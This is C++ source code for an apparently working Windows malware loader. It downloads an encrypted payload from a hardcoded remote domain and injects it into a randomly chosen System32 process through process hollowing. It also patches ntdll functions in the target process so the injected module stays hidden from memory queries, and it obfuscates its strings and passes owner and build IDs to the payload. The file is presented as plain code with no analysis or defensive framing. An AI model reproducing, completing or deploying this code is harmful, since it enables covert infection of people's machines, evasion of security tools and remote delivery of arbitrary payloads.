#include #include #include #include "Encrypt.h" #include #include #include #include #include #include "Shlobj.h" #include #include #include #include #include #include #include #include #include #include #include #include // For _mkdir on Windows #pragma comment(lib, "dxgi.lib") #include #include #pragma comment(lib, "wininet.lib") #pragma comment(lib, "crypt32.lib") #pragma warning(disable : 4996) #define DEBUG_MODE 0 int g_x = 0; typedef NTSTATUS(WINAPI* EMOSS)( HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG_PTR ReturnLength ); std::vector bittys; LPCWSTR GetInjekt() { static const std::vector processNames = { EC(L"C:\\Windows\\System32\\dllhost.exe"), EC(L"C:\\Windows\\System32\\svchost.exe"), EC(L"C:\\Windows\\System32\\DiskSnapshot.exe"), EC(L"C:\\Windows\\System32\\fontdrvhost.exe"), EC(L"C:\\Windows\\System32\\icacls.exe"), EC(L"C:\\Windows\\System32\\IESettingSync.exe"), EC(L"C:\\Windows\\System32\\ktmutil.exe"), EC(L"C:\\Windows\\System32\\label.exe"), EC(L"C:\\Windows\\System32\\LegacyNetUXHost.exe"), EC(L"C:\\Windows\\System32\\licensingdiag.exe") }; // Seed the random number generator only once static bool initialized = false; if (!initialized) { std::srand(static_cast(std::time(nullptr))); initialized = true; } // Select a random index int randomIndex = std::rand() % processNames.size(); // Return the randomly selected process name as LPCWSTR return processNames[randomIndex].c_str(); } bool patch_ZwQueryVirtualMemory(HANDLE hProcess, LPVOID module_ptr, HMODULE hNtdll) { if (!hNtdll) return false; // should never happen ULONGLONG pos = 8; DWORD oldProtect = 0; const SIZE_T stub_size = 0x20; std::string virtmom = EC("ZwQueryVirtualMemory"); ULONG_PTR _ZwQueryVirtualMemory = (ULONG_PTR)GetProcAddress(hNtdll, virtmom.c_str()); if (!_ZwQueryVirtualMemory || _ZwQueryVirtualMemory < pos) { return false; } LPVOID stub_ptr = (LPVOID)((ULONG_PTR)_ZwQueryVirtualMemory - pos); if (!VirtualProtectEx(hProcess, stub_ptr, stub_size, PAGE_READWRITE, &oldProtect)) { return false; } LPVOID patch_space = VirtualAllocEx(hProcess, 0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!patch_space) { return false; } BYTE stub_buffer_orig[stub_size] = { 0 }; SIZE_T out_bytes = 0; if (!ReadProcessMemory(hProcess, stub_ptr, stub_buffer_orig, stub_size, &out_bytes) || out_bytes != stub_size) { return false; } const BYTE nop_pattern[] = { 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00 }; if (::memcmp(stub_buffer_orig, nop_pattern, sizeof(nop_pattern)) != 0) { return false; } // prepare the patched stub: const size_t syscall_pattern_full = 8; const size_t syscall_pattern_start = 4; const BYTE syscall_fill_pattern[] = { 0x4C, 0x8B, 0xD1, //mov r10,rcx 0xB8, 0xFF, 0x00, 0x00, 0x00 // mov eax,[syscall ID] }; if (::memcmp(stub_buffer_orig + pos, syscall_fill_pattern, syscall_pattern_start) != 0) { return false; } // prepare the patch to be applied on ZwQueryVirtualMemory: BYTE stub_buffer_patched[stub_size] = { 0 }; ::memcpy(stub_buffer_patched, stub_buffer_orig, stub_size); const BYTE jump_back[] = { 0xFF, 0x25, 0xF2, 0xFF, 0xFF, 0xFF }; ::memcpy(stub_buffer_patched, &patch_space, sizeof(LPVOID)); ::memset(stub_buffer_patched + pos, 0x90, syscall_pattern_full); ::memcpy(stub_buffer_patched + pos, jump_back, sizeof(jump_back)); // prepare the trampoline: const BYTE jump_to_contnue[] = { 0xFF, 0x25, 0xEA, 0xFF, 0xFF, 0xFF }; ULONG_PTR _ZwQueryVirtualMemory_continue = (ULONG_PTR)_ZwQueryVirtualMemory + syscall_pattern_full; BYTE func_patch[] = { 0x49, 0x83, 0xF8, 0x0E, //cmp r8,0xE -> is MEMORY_INFORMATION_CLASS == MemoryImageExtensionInformation? 0x75, 0x22, // jne [continue to function] 0x48, 0x3B, 0x15, 0x0B, 0x00, 0x00, 0x00, // cmp rdx,qword ptr ds:[addr] -> is ImageBase == module_ptr ? 0x75, 0x19, // jne [continue to function] 0xB8, 0xBB, 0x00, 0x00, 0xC0, // mov eax,C00000BB -> STATUS_NOT_SUPPORTED 0xC3 //ret }; BYTE stub_buffer_trampoline[stub_size * 2] = { 0 }; ::memcpy(stub_buffer_trampoline, func_patch, sizeof(func_patch)); ::memcpy(stub_buffer_trampoline + stub_size, stub_buffer_orig, stub_size); ::memcpy(stub_buffer_trampoline + stub_size - sizeof(LPVOID), &module_ptr, sizeof(LPVOID)); ::memcpy(stub_buffer_trampoline + stub_size, &_ZwQueryVirtualMemory_continue, sizeof(LPVOID)); ::memcpy(stub_buffer_trampoline + stub_size + pos + syscall_pattern_full, jump_to_contnue, sizeof(jump_to_contnue)); const SIZE_T trampoline_full_size = stub_size + pos + syscall_pattern_full + sizeof(jump_to_contnue); if (!WriteProcessMemory(hProcess, stub_ptr, stub_buffer_patched, stub_size, &out_bytes) || out_bytes != stub_size) { return false; } if (!VirtualProtectEx(hProcess, stub_ptr, stub_size, oldProtect, &oldProtect)) { return false; } if (!WriteProcessMemory(hProcess, patch_space, stub_buffer_trampoline, trampoline_full_size, &out_bytes) || out_bytes != trampoline_full_size) { return false; } if (!VirtualProtectEx(hProcess, patch_space, stub_size, PAGE_EXECUTE_READ, &oldProtect)) { return false; } FlushInstructionCache(hProcess, stub_ptr, stub_size); return true; } DWORD Podyom; bool patch_NtManageHotPatch64(HANDLE hProcess, HMODULE hNtdll) { if (!hNtdll) return false; // should never happen DWORD oldProtect = 0; const SIZE_T stub_size = 0x20; const BYTE hotpatch_patch[] = { 0xB8, 0xBB, 0x00, 0x00, 0xC0, // mov eax,C00000BB -> STATUS_NOT_SUPPORTED 0xC3 //ret }; // syscall stub template const size_t syscall_pattern_full = 8; const size_t syscall_pattern_start = 4; const BYTE syscall_fill_pattern[] = { 0x4C, 0x8B, 0xD1, //mov r10,rcx 0xB8, 0xFF, 0x00, 0x00, 0x00 // mov eax,[syscall ID] }; std::string gotpot = EC("NtManageHotPatch"); ULONG_PTR _NtManageHotPatch = (ULONG_PTR)GetProcAddress(hNtdll, gotpot.c_str()); if (!_NtManageHotPatch) { return false; } LPVOID stub_ptr = (LPVOID)_NtManageHotPatch; if (!VirtualProtectEx(hProcess, stub_ptr, stub_size, PAGE_READWRITE, &oldProtect)) { return false; } BYTE stub_buffer_orig[stub_size] = { 0 }; SIZE_T out_bytes = 0; if (!ReadProcessMemory(hProcess, stub_ptr, stub_buffer_orig, stub_size, &out_bytes) || out_bytes != stub_size) { return false; } // confirm it is a valid syscall stub: if (::memcmp(stub_buffer_orig, syscall_fill_pattern, syscall_pattern_start) != 0) { return false; } if (!WriteProcessMemory(hProcess, stub_ptr, hotpatch_patch, sizeof(hotpatch_patch), &out_bytes) || out_bytes != sizeof(hotpatch_patch)) { return false; } if (!VirtualProtectEx(hProcess, stub_ptr, stub_size, oldProtect, &oldProtect)) { return false; } FlushInstructionCache(hProcess, stub_ptr, sizeof(hotpatch_patch)); return true; } int openar() { PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)bittys.data(); PIMAGE_NT_HEADERS64 NtHeader = (PIMAGE_NT_HEADERS64)(bittys.data() + DosHeader->e_lfanew); PROCESS_INFORMATION pi; STARTUPINFO si = { sizeof(si) }; ULONG_PTR retlen; PROCESS_BASIC_INFORMATION pbi; void* newImgBase; DWORD64 ImgBaseAddress; HMODULE hNtdll = GetModuleHandleA(EC("ntdll")); HMODULE ntDll = LoadLibraryA(EC("ntdll.dll")); if (ntDll == nullptr) { #if DEBUG_MODE (printf)(EC("Fail Load \n")); #endif return 1; } std::string nqr = EC("NtQueryInformationProcess"); EMOSS NtQueryInformationProcess = (EMOSS)GetProcAddress(ntDll, nqr.c_str()); if (NtHeader->Signature != IMAGE_NT_SIGNATURE) { return 1; } if (!CreateProcess(GetInjekt(), NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) { #if DEBUG_MODE (printf)(EC("Fail Process \n")); #endif return 1; } patch_NtManageHotPatch64(pi.hProcess, hNtdll); NtQueryInformationProcess( pi.hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &retlen ); newImgBase = VirtualAllocEx( pi.hProcess, NULL, NtHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE ); Podyom = pi.dwProcessId; if (newImgBase == NULL) { #if DEBUG_MODE (printf)(EC("Fail Alloc \n")); #endif return 1; } WriteProcessMemory(pi.hProcess, newImgBase, bittys.data(), NtHeader->OptionalHeader.SizeOfHeaders, 0); PIMAGE_SECTION_HEADER SectionHeader = (PIMAGE_SECTION_HEADER)(bittys.data() + DosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS64)); for (int num = 0; num < NtHeader->FileHeader.NumberOfSections; num++) { if (!WriteProcessMemory(pi.hProcess, (LPVOID)((DWORD64)newImgBase + SectionHeader->VirtualAddress), (LPVOID)((DWORD64)bittys.data() + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0)) { #if DEBUG_MODE (printf)(EC("Fail Section \n")); #endif } SectionHeader++; } ImgBaseAddress = (DWORD64)pbi.PebBaseAddress + 0x10; if (!WriteProcessMemory(pi.hProcess, (LPVOID)ImgBaseAddress, &newImgBase, sizeof(newImgBase), 0)) { #if DEBUG_MODE (printf)(EC("Fail ImgBas \n")); #endif } HANDLE NewThread = CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD64)newImgBase + NtHeader->OptionalHeader.AddressOfEntryPoint), NULL, CREATE_SUSPENDED, NULL); if (!NewThread) { #if DEBUG_MODE (printf)(EC("Fail Thrd \n")); #endif return 1; } SuspendThread(pi.hThread); patch_ZwQueryVirtualMemory(pi.hProcess, newImgBase, hNtdll); ResumeThread(NewThread); /*std::cout << "DosHeader: " << std::hex << "0x" << DosHeader; std::cout << "NtHeader: " << std::hex << "0x" << NtHeader; std::cout << "Shellcode injected successfully\n";*/ #if DEBUG_MODE std::cout << EC("Inj Succes \n") << std::endl; #endif FreeLibrary(ntDll); return 0; } std::string decrypt(const std::string& encryptedBase64, const std::string& key) { std::string decoded; std::vector decodingTable(256, -1); const std::string base64Chars = EC("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"); for (size_t i = 0; i < base64Chars.size(); i++) { decodingTable[base64Chars[i]] = i; } int val = 0, valb = -8; for (unsigned char c : encryptedBase64) { if (decodingTable[c] == -1) break; val = (val << 6) + decodingTable[c]; valb += 6; if (valb >= 0) { decoded.push_back((val >> valb) & 0xFF); valb -= 8; } } std::string encryptedData = decoded; std::string decrypted; size_t keyLength = key.size(); for (size_t i = 0; i < encryptedData.size(); ++i) { decrypted += encryptedData[i] ^ key[i % keyLength]; } return decrypted; } static std::map dns_cache; std::string DownloadStringBetter(const std::string& domain, const std::string& path) { static bool init = (WSAStartup(MAKEWORD(2, 2), (WSADATA*)malloc(sizeof(WSADATA))) == 0); std::string ip = dns_cache[domain]; if (ip.empty()) { #if DEBUG_MODE std::cout << EC("[DBG] Resolving ") << domain << EC(" via online API...\n"); #endif HINTERNET hi = InternetOpenA(EC("Agents"), 1, 0, 0, 0); if (hi) { HINTERNET hu = InternetOpenUrlA(hi, (EC("https://dns.google/resolve?name=") + domain + EC("&type=A")).c_str(), EC("Accept: application/dns-json\r\n"), -1, 0x84800000, 0); if (hu) { std::string resp; char buf[1024]; DWORD br; while (InternetReadFile(hu, buf, 1024, &br) && br) resp.append(buf, br); InternetCloseHandle(hu); size_t start = resp.find(EC("\"data\":\"")); if (start != std::string::npos && (start += 8) < resp.length()) { size_t end = resp.find('"', start); if (end != std::string::npos) { ip = resp.substr(start, end - start); if (ip.find('.') != std::string::npos) { dns_cache[domain] = ip; #if DEBUG_MODE std::cout << EC("[DBG] Resolved ") << domain << EC(" to ") << ip << EC(" via API\n"); #endif } else ip.clear(); } } } InternetCloseHandle(hi); } if (ip.empty()) return EC(""); } else { #if DEBUG_MODE std::cout << EC("[DBG] Using cached IP for ") << domain << EC(": ") << ip << EC("\n"); #endif } HINTERNET hi = InternetOpenA(EC("Agent"), 1, 0, 0, 0); if (!hi) return EC(""); std::string url = EC("http://") + ip + path; std::string headers = EC("Host: ") + domain + EC("\r\n"); #if DEBUG_MODE std::cout << EC("[DBG] Connecting to ") << url << EC("\n"); #endif HINTERNET hu = InternetOpenUrlA(hi, url.c_str(), headers.c_str(), -1, 0x84000000, 0); if (!hu) { #if DEBUG_MODE std::cout << EC("[DBG] IP connection failed, trying direct domain...\n"); #endif hu = InternetOpenUrlA(hi, (EC("http://") + domain + path).c_str(), 0, 0, 0x84000000, 0); if (!hu) { #if DEBUG_MODE std::cout << EC("[DBG] All connections failed\n"); #endif InternetCloseHandle(hi); return EC(""); } #if DEBUG_MODE std::cout << EC("[DBG] Direct domain connection successful\n"); #endif } else { #if DEBUG_MODE std::cout << EC("[DBG] Connected via IP\n"); #endif } std::string result; char buf[4096]; DWORD br, total = 0; #if DEBUG_MODE std::cout << EC("[DBG] Reading response...\n"); #endif while (InternetReadFile(hu, buf, 4096, &br) && br) { total += br; result.append(buf, br); } #if DEBUG_MODE std::cout << EC("[DBG] Read ") << total << EC(" bytes total\n"); #endif InternetCloseHandle(hu); InternetCloseHandle(hi); return result; } std::string GRS(size_t length) { const std::string charset = std::string(EC("abcdefghijklmnopqrstuvwxyz")) + std::string(EC("ABCDEFGHIJKLMNOPQRSTUVWXYZ")) + std::string(EC("0123456789")); std::random_device rd; std::mt19937 gen(rd()); std::uniform_int_distribution<> dist(0, charset.size() - 1); std::string result; result.reserve(length); for (size_t i = 0; i < length; ++i) { result += charset[dist(gen)]; } return result; } std::vector Base64ToBytes(const std::string& base64String) { DWORD bytesNeeded; if (!CryptStringToBinaryA(base64String.c_str(), base64String.length(), CRYPT_STRING_BASE64, NULL, &bytesNeeded, NULL, NULL)) { return {}; } std::vector bytes(bytesNeeded); if (!CryptStringToBinaryA(base64String.c_str(), base64String.length(), CRYPT_STRING_BASE64, bytes.data(), &bytesNeeded, NULL, NULL)) { return {}; } return bytes; } std::string SplitAndPick(const std::string& input) { std::vector substrings; std::stringstream ss(input); std::string temp; while (std::getline(ss, temp, '|')) { substrings.push_back(temp); } if (substrings.empty()) { return EC(""); } std::random_device rd; std::mt19937 gen(rd()); std::uniform_int_distribution<> dis(0, substrings.size() - 1); return substrings[dis(gen)]; } struct SharedData { DWORD signature; volatile bool dataReady; char buffer[256]; }; SharedData* findSharedData(HANDLE processHandle) { MEMORY_BASIC_INFORMATION mbi; uintptr_t address = 0; while (VirtualQueryEx(processHandle, (LPCVOID)address, &mbi, sizeof(mbi))) { if (mbi.State == MEM_COMMIT && (mbi.Protect & PAGE_READWRITE) && mbi.RegionSize >= sizeof(SharedData)) { for (uintptr_t pos = (uintptr_t)mbi.BaseAddress; pos <= (uintptr_t)mbi.BaseAddress + mbi.RegionSize - sizeof(SharedData); pos += sizeof(DWORD)) { DWORD signature; SIZE_T bytesRead; if (ReadProcessMemory(processHandle, (LPCVOID)pos, &signature, sizeof(DWORD), &bytesRead) && signature == 0xBA73593C) { return (SharedData*)pos; } } } address = (uintptr_t)mbi.BaseAddress + mbi.RegionSize; } return nullptr; } void SndMSG(DWORD pid, std::string message) { HANDLE processHandle = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION, FALSE, pid); if (!processHandle) { std::cerr << EC("Failed to open process!") << std::endl; } SharedData* remoteData = findSharedData(processHandle); if (!remoteData) { std::cerr << EC("Could not find receiver memory!") << std::endl; CloseHandle(processHandle); } SIZE_T bytesWritten; WriteProcessMemory(processHandle, (LPVOID)&remoteData->buffer, message.c_str(), message.length() + 1, &bytesWritten); bool flag = true; WriteProcessMemory(processHandle, (LPVOID)&remoteData->dataReady, &flag, sizeof(bool), &bytesWritten); std::cout << EC("Message sent!") << std::endl; CloseHandle(processHandle); } std::string ownrdid = EC("//OWNERID"); std::string bldsid = EC("//BUILDID"); /* std::string ownrdid = EC("rz6zarjmaf0u9jq4v53hsnz4no61k28"); std::string bldsid = EC("4Suvv0GFZDE3St59PULCW014"); */ /* Turn it up, it's your favorite song Dance, dance, dance to the distortion Turn it up, keep it on repeat Stumbling around like a wasted zombie */ std::string RandoK; INT WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow) { /*AllocConsole(); freopen(EC("CON"), EC("w"), stdout); freopen(EC("CON"), EC("w"), stderr);*/ //(Sleep)(4000); #if DEBUG_MODE (printf)(EC("Beforea All \n")); #endif Sleep(5000); HANDLE mutex = CreateMutexA(NULL, TRUE, ((EC("Global\\PFNMX_")) + bldsid).c_str()); #if DEBUG_MODE (printf)(EC("Before Mutex 1 \n")); #endif if ((GetLastError)() == ERROR_ALREADY_EXISTS) { *(uintptr_t*)0 = 0; } else { HANDLE mutexstb = OpenMutexA(MUTEX_ALL_ACCESS, FALSE, ((EC("Global\\PFNX_")) + ownrdid).c_str()); #if DEBUG_MODE (printf)(EC("Before Mutex 2 \n")); #endif //(Sleep)(3000); if (mutexstb != NULL) { CloseHandle(mutexstb); } else { #if DEBUG_MODE (printf)(EC("Before All \n")); #endif //(Sleep)(3000); //std::string UrlBlob = decrypt(std::regex_replace(DownloadStringBetter(EC("raw.githubusercontent.com"), EC("/VinieClara/Fortnite-Reverseal-Collection/refs/heads/main/HashNew/NMHash")), std::regex(EC("\\s+")), EC("")), EC("ZwCreateFile")); //std::string MainURL = decrypt(SplitAndPick(UrlBlob), EC("ZwCreateFile")); std::string MainURL = EC("bounty-valorant.lol"); #if DEBUG_MODE std::cout << MainURL << std::endl; (printf)(EC("All ok lol \n")); #endif //(Sleep)(3000); try { int retry = 0; std::string msgr = ownrdid + EC(":") + bldsid + EC(":") + MainURL; A: RandoK = GRS(14); std::string bobak = decrypt(DownloadStringBetter(MainURL, (EC("/Stb/PokerFace/init.php?id=") + RandoK)), RandoK); bittys = Base64ToBytes(bobak); std::cout << bittys.size() << std::endl; if (8 > bittys.size()) { if (retry > 10) { *(uintptr_t*)0 = 0; } else { retry++; (Sleep)(10000); goto A; } } #if DEBUG_MODE (printf)(EC("Install Done going to open \n")); #endif (Sleep)(500); (openar)(); #if DEBUG_MODE (printf)(EC("Open Done Waiting Transfer \n")); #endif (Sleep)(8000); SndMSG(Podyom, msgr); /* HANDLE hPipe = CreateFileA(EC("\\\\.\\pipe\\VccFramework"), GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); DWORD bytesWritten; if (!WriteFile(hPipe, msgr.c_str(), strlen(msgr.c_str()), &bytesWritten, NULL)) { #if DEBUG_MODE (printf)(EC("Write Error")); #endif CloseHandle(hPipe); }*/ #if DEBUG_MODE (printf)(EC("All Enndeddd \n")); #endif (Sleep)(300); *(uintptr_t*)0 = 0; } catch (...) {} } } }